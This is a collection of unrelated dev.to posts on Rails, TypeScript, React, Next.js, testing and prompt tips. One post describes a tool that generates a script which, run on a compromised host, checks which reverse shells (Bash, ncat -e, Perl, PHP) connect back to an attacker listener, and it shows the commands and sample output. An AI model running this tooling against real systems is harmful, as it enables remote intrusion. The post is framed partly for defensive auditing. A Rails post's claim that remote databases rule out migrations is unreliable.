teleren/devto huggingface dataset:
Can a ruby on rails app work without databases files installed locally?
Tags: rails, docker, cloud
Published: 2023-08-21 03:09:00

Ruby on Rails is a popular web development framework known for its simplicity and efficiency. One of the key components of a Rails application is the database, which stores and retrieves data for the application. But have you ever wondered if it's possible to run a Rails app without having the database files installed locally? Let's find out!

By default, Rails uses SQLite as its database engine for development and testing environments. This means that when you create a new Rails app, it automatically sets up a SQLite database file for you. However, Rails is flexible enough to work without a database if you choose to do so.

There are a few scenarios where you might want to run a Rails app without a database. For example, if you're building a simple static website or a prototype that doesn't require persistent data storage, you can configure Rails to use a different database adapter that doesn't rely on local files.

To run a Rails app without a database, you can modify the `config/database.yml` file in your Rails project. By default, it looks something like this:

`development:  
  adapter: sqlite3  
  database: db/development.sqlite3  
  pool: 5  
  timeout: 5000`

To remove the dependency on the database file, you can change the adapter to a different one that doesn't require local files. For example, you can use the `mysql2` adapter and configure it to connect to a remote database server:

`development:  
  adapter: mysql2  
  host: remote-server  
  username: your-username  
  password: your-password  
  database: your-database`

By doing this, your Rails app will connect to the remote MySQL database instead of using a local SQLite file. This allows you to run your app without having to install and manage a local database server.

However, it's worth noting that running a Rails app without a local database file may have limitations. For example, you won't be able to perform certain database-specific operations like migrations or running complex queries. Additionally, if your app relies heavily on database interactions, not having a local database may impact its performance.

In conclusion, while it is possible to run a Ruby on Rails app without having the database files installed locally, it's important to consider the limitations and implications of doing so. If you're building a simple app that doesn't require persistent data storage, or if you're using a remote database server, running without a local database can be a viable option.

References:
-----------

*   [Ruby on Rails - Configuring a Database](https://guides.rubyonrails.org/configuring.html#configuring-a-database)
*   [mysql2 gem](https://rubygems.org/gems/mysql2)
Step #0 : Creating TravelNest - an AirBnB functional clone
Tags: programming, saas, api, webdev
Published: 2023-08-21 02:38:20

Though I get hands-on quite often, given my tech leadership role - I had this nagging feeling that it has been a while since I created something from scratch.

I want to design and build an end-to-end web application that serves a meaningful business case.

I have chosen to create an AirBnB clone (functionally not technically) and call it **_TravelNest_**.

> Create a software application that connects home owners across the world with travelers visiting their places.  Using this application home owners can list properties which travelers can book and stay to have memorable experiences.

Through a series of blog posts, I plan to document my ideation, design and development journey with the dev.to community.

**What I plan to take away from this journey?**

* Take a real world use case, ideate and create a product vision
* Architect and design a scalable, cloud native solution
* Develop high quality code
* Test and deploy using best engineering principles

**What I plan to give back to the community?**

* Document my learnings through blog posts
* Opensource codebase for use
* A guidance to those starting to build things from scratch

I will see you all soon with the first step - _Creating the product backlog for TravelNest_

**_Posts in this series:_**

1. [Step #0 : Creating TravelNest - an AirBnB functional clone](https://dev.to/meetashwin/creating-an-airbnb-clone-travelnest-3bja)
2. [Step #1 : TravelNest - Define Product requirements for MVP](https://dev.to/meetashwin/step-1-travelnest-product-requirements-for-mvp-b0b)
3. [Step #2 : TravelNest - System Design Diagrams](https://dev.to/meetashwin/step-2-travelnest-system-design-diagrams-3k2p)
Typescript
Published: 2023-08-21 01:11:10


1. any: É um tipo que permite que uma variável possa ter qualquer tipo de valor. Nenhuma verificação de tipo é realizada em tempo de compilação e nenhuma ajuda de autocompletar é fornecida. É usado quando o tipo de uma variável é desconhecido ou não precisa ser especificado.
2. arrays: Um array é uma estrutura de dados que armazena uma coleção ordenada de elementos. Em TypeScript, arrays podem ser declarados com um tipo específico de elementos (por exemplo, number[] para um array de números).
3. tuples: Uma tupla é uma estrutura de dados que permite armazenar um conjunto de elementos com tipos diferentes, e a quantidade de elementos é fixa e conhecida. Cada elemento da tupla pode ter um tipo
4. Enum (Enumeração): Um enum é um tipo de dados que permite definir um conjunto de constantes nomeadas. Isso é útil para melhorar a legibilidade do código, pois você pode atribuir nomes significativos a valores inteiros. 
5. Function Return (Retorno de Função): Em TypeScript, você pode especificar o tipo de valor que uma função retorna. Isso ajuda a documentar o comportamento da função e a capturar erros de tipo em tempo de compilação.
Task 3
Published: 2023-08-20 05:59:10

What is the difference between Functional and Non Functional testing? Give some examples to support your answer.

## **_Functional testing:_**


i) Functional testing is a type of software testing, which verifies the functionality requirements of the developed software.
ii) Functionality testing focuses on the user requirements.
iii) It is done during the development phase of the application.
iv) Types of testing followed here are : Unit testing, regression testing, system testing, sanity testing, smoke testing, retesting.

_Unit testing:_ Validating the smallest part of the component which is developed is called unit testing.

_Regression testing:_ Testing the complete software after the fix of any bugs in the application is called regression testing.

_Smoke testing:_ Making sure that the developed build is steady and is suitable for next phase of testing is called smoke testing

v) Can be done by both manual and automation testing.
vi) **Example: **
- User unable to add the product which is in stock to the cart in any ecommerce website.
- Ordering through applications like Flipkart, Amazon, Meesho, Zomato

## **_Non Functionality testing:_**

i) Non Functional testing is a type of software testing, which verifies the Non functionality requirements of the developed software.
ii) Non Functionality testing focuses on the user expectations.
iii) It is done after the completion of functionality testing. 
iv) Types of testing followed here are: Performance testing, usability testing, stability testing, scalability testing.

_Performance testing:_ Validation of the application by giving large amount of workload is called performance testing.

_Stability testing:_ Verifying whether the developed application can run in different environments is called stability testing.
v) Requires automation tools for effective results.
vi) **Example:** 
- The time taken to load any webpage should be less than 3 seconds.
- Increased number of users should not cause any delay or defect in loading the application.
Orbital Edge Imaging Web App built with Next.js
Tags: apps, nextjs
Published: 2023-08-21 20:59:05

---
title: Orbital Edge Imaging Web App built with Next.js
published: true
date: 2023-08-21 00:54:00 UTC
tags: Apps,Nextjs
canonical_url: https://reactjsexample.com/orbital-edge-imaging-web-app-built-with-next-js/
---

# Orbital Edge Imaging – Web-App

## Purpose
 ![Orbital Edge Imaging Web App built with Next.js](https://reactjsexample.com/content/images/2023/08/Code_2023-08_21-48-42.jpg)

This is a proof-of-concept web application for a (fictional) startup called “Orbital Edge Imaging” that enables users to search the company’s API using a specified Area of Interest.

[View Demo](https://orbital-edge-imaging-five.vercel.app/)[View Github](https://github.com/sebastian-schuler/orbital-edge-imaging?ref=reactjsexample.com)

## Getting Started

This project uses the [OGC API of Sentinel Hub](https://www.sentinel-hub.com/develop/api/ogc/) to search and download satellite imagery. You’re required to sign up for an account to use this project, a free trial account receives 30 000 units.

![Orbital Edge Imaging Web App built with Next.js](https://github.com/sebastian-schuler/orbital-edge-imaging/raw/main/ogc-service-optimized.gif)

## Installation

First, clone the repo, then install the dependencies:

```
npm install

```

Create a file called ‘.env.local’ in the main project folder (not in src), copy and paste this content, finally add in your own Sentinel Instance ID.

```
SENTINEL\_INSTANCE\_ID='YOUR\_SENTINEL\_INSTANCE\_ID'

```

Then, run the development server:

```
npm run dev

```

Open [http://localhost:3000](http://localhost:3000) with your browser to see the result.
A multi-page agency website template developed using Next.js
Tags: website
Published: 2023-08-21 20:59:16

---
title: A multi-page agency website template developed using Next.js
published: true
date: 2023-08-21 00:48:00 UTC
tags: WebSite
canonical_url: https://reactjsexample.com/a-multi-page-agency-website-template-developed-using-next-js/
---

# Abdullah Agency – Next.js, Tailwind CSS & Framer Motion
 ![A multi-page agency website template developed using Next.js](https://reactjsexample.com/content/images/2023/08/Code_2023-08_21-42-14.jpg)

![A multi-page agency website template developed using Next.js](https://github.com/chrhi/agency-website-abdullah/raw/main/public/agency.PNG)

Abdullah Agency is a stunning multi-page agency website template developed using Next.js, Tailwind CSS, and Framer Motion. Designed and built by the talented Tailwind CSS team, this template offers a sleek and minimalist appearance while boasting engaging interactive elements and captivating animations powered by Framer Motion.

[View Demo](https://agency-website-abdullah.vercel.app/)[View Github](https://github.com/chrhi/agency-website-abdullah?ref=reactjsexample.com)

## Features

- Beautifully designed agency website template.
- Built using Tailwind CSS and Next.js for a seamless development experience.
- Enhanced with delightful animations and transitions through Framer Motion.
- Easy-to-update case studies and blog posts with MDX.
- Production-ready and highly customizable for your agency’s specific needs.
- A valuable resource for learning how to build websites with Tailwind CSS and React.

## Getting Started

To run the Abdullah Agency website locally, follow these steps:

1. **Clone the repository:**
Bienvenida
Tags: welcome, firstpost
Published: 2023-08-21 00:31:36

Mi nombre es Christian. Tengo 32 años y soy de Unquillo, Córdoba (Argentina). Hace un tiempo que soy Desarrollador Frontend para una compañía que se llama VelaONE.
Siempre quise tener un blog, pero me di cuenta que mi habilidades son nulas en la escritura de contenido. Simplemente no me sale. Pero hace poco me di cuenta que quizás no puedo escribir, pero puedo traducir artículos que están en inglés.
Ésto lo descubrí un día en el que estaba leyendo [el blog de Kent C. Dodds](https://kentcdodds.com/blog) y me encontré con ésta leyenda .


![Botón que dice add translation en el blog de Kent C. Dodds](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nz0zitv2iansq3v1isqv.png)


Dije “eu, en serio nadie le traduce los blogposts a Kent C. Dodds?” — “Lo voy a hacer yo”.
Cuento con la experiencia de haber contribuido con la traducción de unos cuantos ejercicios de FreeCodeCamp (de las primeras dos certificaciones). Asi que por qué no…
En éste blog voy a traducir artículos (del inglés al español-argentino) que a mí me interesen sobre programación. Seguro va a estar más enfocado a React y todo su ecosistema, pero no descarto traducir artículos relacionados a CSS, a Javascript, al mundo IT en general.
Pero antes de terminar tengo que sincerarme y hacer dos avisos MUY importantes:
1 — No soy un traductor, no soy profesor de inglés, no tengo ninguna titulación en eso. Las traducciones no van a ser perfectas, si querés corregirme algun error, bienvenido sea, mandame un mail buena onda a christiancaracach@gmail.com
2 — Está bueno leer artículos traducidos al español (español argentino), pero no te olvides que en éste rubro, mientras más inglés sepas, mejor, así que también intentá leer los originales asi vas practicando.
Muchas gracias por su atención, que lo disfruten.
Reverse Shell Enumeration
Tags: redteam, blueteam, reverseshell, enumeration
Published: 2023-08-21 00:29:53

## Why?

You're a defender wanting to audit to see which reverse shells work out of the box on a particular host. Or, you're a lazy attacker wanting to quickly determine which reverse shells will work.

## When?

You have remote code execution on a Linux host, and the noise this enumeration generates is not an operational concern.

## How?

1. Clone the repo:
```bash
git clone https://github.com/fx2301/reverseshellenum.git
cd reverseshellenum
```
2. Generate yourself a fresh script:
```bash
LHOST="10.10.0.123" LPORT=31373 python3 generate.py
```
3. Run the listener:
```bash
./listen.sh
```

4. Run the reverse shell enumerator on the target host:
```bash
./reverseshellenum.sh
```

5. Observe which shells work (refer to shells.json):
```bash
$ ./listen.sh
[i] Starting Reverse Shell Audit
  [+] Success: Bash -i
  [+] Success: Bash 196
  [+] Success: Bash read line
  [+] Success: Bash 5
  [+] Success: ncat -e
  [+] Success: Perl
  [+] Success: Perl no sh
  [+] Success: PHP Emoji
[i] Ending Reverse Shell Audit
```

PR's welcome! Kudos to [revshells.com](https://www.revshells.com) for the raw material.
The Potato Prompt
Tags: chatgpt, promptengineering
Published: 2023-08-21 00:14:40

- How to make ChatGPT respond quickly and directly without unnecessary fluff?
- What is the Potato Prompt and how does it work?
- How can the Potato Prompt save time and cost in AI interactions?

The Potato Prompt:
```
Starting now you are very succinct. You don’t apologize if you don’t explain stuff right, and don’t add additional info to eventually get to the point. You straightforward language. You say the absolute minimum to get to the point. If you understand, say “got it - i am potato”. 
But when I say "unpotato" then please revert to ignore this command and be normal AI assistant as usual. 
```

---


The Potato Prompt, also referred to as "protato" is a simple yet powerful tool in the world of prompt engineering. Its primary function is to elicit concise, direct responses from AI models, significantly reducing the verbosity often associated with AI interactions.

To see the Potato Prompt in action, let's consider a simple question: Who is the Witcher actor? With a traditional prompt, the AI's response might be verbose and time-consuming. But with the Potato Prompt, the response is succinct - "Henry Cavill."

Want to know more about the Potato Prompt? Check out the original video for a detailed walk-through and demonstration

{% embed https://youtu.be/5otmxZGyj-w %}




---

Godspeed

PS. Follow me on Twitter or LinkedIn and subscript to my **AI YouTube channel**
[https://twitter.com/dom_sipowicz](https://twitter.com/dom_sipowicz)
[https://www.linkedin.com/in/dominiksipowicz/](https://www.linkedin.com/in/dominiksipowicz/)
[https://www.youtube.com/@DominikSipowicz](https://www.youtube.com/@DominikSipowicz)
Elastomer socket for Ethernet switch device
Tags: network, news, tooling
Published: 2023-08-21 00:09:28

High-Speed Elastomer Socket for Ethernet Switch Device Socket is constructed with high performance and low inductance elastomer contactor. The [temperature range](https://www.ymin.cn/application/communication-equipment/) is -55 C to +150 C. The pin self-inductance is 0.10 nH, and the mutual inductance of 0.007 nH. Capacitance to ground is 0.069 pF. The current capacity is 4 amps per pin and operates at bandwidths up to 40 GHz with less than 1dB of insertion loss. The socket is also designed to dissipate 55 watts with a unique spring-loaded compression heatsink and axial flow fan.

[VIDEO](https://youtu.be/eyZATa533Bk)
Do you know the string is an array of characters?
Tags: beginners, coding, string, array
Published: 2023-08-20 23:30:34

`[No BS Only Coding]`
The concept of treating strings as arrays of characters exists in several other programming languages as well. However, the implementation and capabilities might differ slightly between languages. Here are a few examples:

### PHP

In PHP, a string is essentially treated as an array of characters, where each character occupies a specific position in the string. This means that you can access individual characters within a string using array-like indexing. 

```php
$str = "Hello, World!";
echo $str[7]; // W
```

### C and C++
In both C and C++, strings are represented as arrays of characters. You can access individual characters in a string using array indexing or pointer arithmetic.

   ```c
   char str[] = "Hello";
   char firstChar = str[0]; // 'H'
   ```

### Python
In Python, strings are also considered sequences of characters and can be accessed using indexing, similar to arrays.

   ```python
   my_string = "Hello"
   first_char = my_string[0]  # 'H'
   ```

### Java
In Java, strings are objects, but you can still treat them like arrays of characters using the `charAt()` method.

   ```java
   String str = "Hello";
   char firstChar = str.charAt(0); // 'H'
   ```

### Ruby
Ruby treats strings as mutable sequences of characters that can be accessed using array-like indexing.

   ```ruby
   my_string = "Hello"
   first_char = my_string[0]  # 'H'
   ```

### JavaScript
JavaScript represents strings as sequences of UTF-16 code units, and you can access individual characters using array-like indexing.

   ```javascript
   var str = "Hello";
   var firstChar = str[0]; // 'H'
   ```

---

## Wrap-Up!
It's important to note that while many programming languages provide array-like access to strings, there might be differences in how strings are stored, manipulated, and the functions available for string manipulation. Some languages might also have built-in string handling functions that are more powerful and convenient than direct character-level manipulation.
How to enable CICD on a Next.js project with GitHub
Tags: opensource, elestio, nextjs, github
Published: 2023-10-11 13:11:13

---
title: How to enable CICD on a Next.js project with GitHub
published: true
date: 2023-08-20 23:15:28 UTC
tags: opensource, elestio, nextjs, github
canonical_url: https://elestio.hashnode.dev/how-to-enable-cicd-on-a-next-js-project-with-github-3ab831494ff9
---

In the dynamic landscape of software development, efficiency, and speed are paramount.

Imagine a process where your code changes are automatically tested, built, and deployed to production without manual intervention. This is the power of **Continuous Integration and Continuous Deployment** (CI/CD), which enhances collaboration, reduces errors, and accelerates your development workflow.

Welcome to a comprehensive guide on how to set up a CI/CD pipeline for your **projects** on .

While we will show the process with a Next.js project, you can deploy your projects from any language and framework (React, Angular, Vue, PHP, .NET, GO, )

<iframe src="https://www.youtube.com/embed/MHXqpo9RjvA?feature=oembed" width="700" height="393"></iframe>

_Originally published at_ [_https://blog.elest.io_](https://blog.elest.io/how-to-enable-cicd-on-a-next-js-project-with-github/) _on August 20, 2023._
Play safe without Try Catch...
Tags: csharp
Published: 2023-08-20 23:12:59

The most dangerous thing you can do, in programming (besides running out of coffee) is type conversion, especially when you run on so-called "happy flow", which means that you always think nothing can go wrong, it's better to always think that it can go wrong and writes its code after that. Example: conversion of a text to integers, i.e. we get the numbers as text.
```csharp
string payment = "100.5"
var amount = double.Parse(payment);
```
above work well, until one day when we get..
```csharp
string payment = "saknas";
var amount = double.Parse(payment);
```
This gives a exception and program stops.

So can we find out when our "payment" is not correct?
Yes, you can put a try catch around, but it will be a lot of code, there is one easier way, with .. **TryParse**

```csharp
string payment = "saknas"

if( !double.TryParse(payment, out amount)) 
{
  handling error, write to log!
}
```
**TryParse** returns **true** if the conversion went well, and **false** if it went wrong, without throwing an error that causes your program to stop. Now you can easily take care of the error, without having to write a lot of try-catch handling for it.

Happy coding!
Anders
React Props vs State
Tags: webdev, javascript, beginners, react
Published: 2023-08-20 22:45:51

👋 Introduction

React, a popular JavaScript library for building user interfaces, utilizes two core concepts for managing data within components: props and state. Understanding the differences between these two is fundamental to building robust and maintainable React applications.

🚀 Getting Started 

**Props** are read-only, immutable values passed from parent to child components. They are akin to function parameters, allowing data to flow in a one-way direction. Here's a simple example:

```
// ParentComponent.js
import ChildComponent from './ChildComponent';

function ParentComponent() {
  const data = "Hello from Parent!";
  return <ChildComponent message={data} />;
}

// ChildComponent.js
function ChildComponent(props) {
  return <div>{props.message}</div>;
}
```

In contrast, **State** represents mutable data local to a component, managed internally. It is used to handle dynamic data that can change over time. Here's a snippet illustrating state usage:

```
// Counter.js
import React, { useState } from 'react';

function Counter() {
  const [count, setCount] = useState(0);

  const incrementCount = () => {
    setCount(count + 1);
  };

  return (
    <div>
      <p>Count: {count}</p>
      <button onClick={incrementCount}>Increment</button>
    </div>
  );
}
```

🏁 Conclusion

In summary, in React function components, props are for passing data from parent to child components, while state is for managing a component's internal, mutable data. Combining these concepts effectively allows you to create dynamic and interactive React applications.

Github: [@imevanc](https://github.com/imevanc)
Twitter: [@imevancc](https://twitter.com/imevancc)
New Snowflake Feature: Schema Detection and Evolution for Kafka Connector With Snowpipe Streaming
Tags: technology, data, kafka, snowflake
Published: 2023-08-31 17:45:24

---
title: New Snowflake Feature: Schema Detection and Evolution for Kafka Connector With Snowpipe Streaming
published: true
date: 2023-08-20 22:42:26 UTC
tags: technology,data,kafka,snowflake
canonical_url: 
---

[![](https://cdn-images-1.medium.com/max/1508/1*ydXruVsxhUVPfbnq2h2-hQ.png)](https://blog.infostrux.com/new-snowflake-feature-schema-detection-and-evolution-for-kafka-connector-with-snowpipe-streaming-bfb2e67343de?source=rss-fab031e08990------2)

An Early Try at the New Feature, and Here are the results

[Continue reading on Infostrux Engineering Blog »](https://blog.infostrux.com/new-snowflake-feature-schema-detection-and-evolution-for-kafka-connector-with-snowpipe-streaming-bfb2e67343de?source=rss-fab031e08990------2)